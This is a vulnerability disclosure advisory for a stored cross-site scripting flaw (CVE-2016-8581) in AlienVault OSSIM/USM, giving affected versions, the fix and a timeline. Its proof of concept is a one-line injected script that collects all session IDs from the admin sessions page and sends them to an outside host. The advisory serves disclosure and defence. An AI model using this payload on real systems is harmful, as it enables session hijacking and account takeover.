46 lines
No EOL
944 B
Text
46 lines
No EOL
944 B
Text
Details
|
|
=======
|
|
|
|
Product: Alienvault OSSIM/USM
|
|
Vulnerability: Stored XSS
|
|
Author: Peter Lapp, lappsec () gmail com
|
|
CVE: CVE-2016-8581
|
|
CVSS: 3.5
|
|
Vulnerable Versions: <=5.3.1
|
|
Fixed Version: 5.3.2
|
|
|
|
|
|
|
|
Vulnerability Details
|
|
=====================
|
|
|
|
A stored XSS vulnerability exists in the User-Agent header of the
|
|
login process. It's possible to inject a script into that header that
|
|
then gets executed when mousing over the User-Agent field in Settings
|
|
-> Current Sessions.
|
|
|
|
|
|
|
|
POC
|
|
===
|
|
|
|
The POC uses jQuery to send all session IDs on the "Current Sessions"
|
|
page to an arbitrary site (Google, in this case)
|
|
|
|
<script>$('#ops_table
|
|
.ops_id').each(function(){$.get("https://www.google.com/",{session:($(this).html())});});</script>
|
|
|
|
|
|
|
|
Timeline
|
|
========
|
|
|
|
08/03/16 - Reported to Vendor
|
|
10/03/16 - Fixed in version 5.3.2
|
|
|
|
|
|
|
|
References
|
|
==========
|
|
|
|
https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities |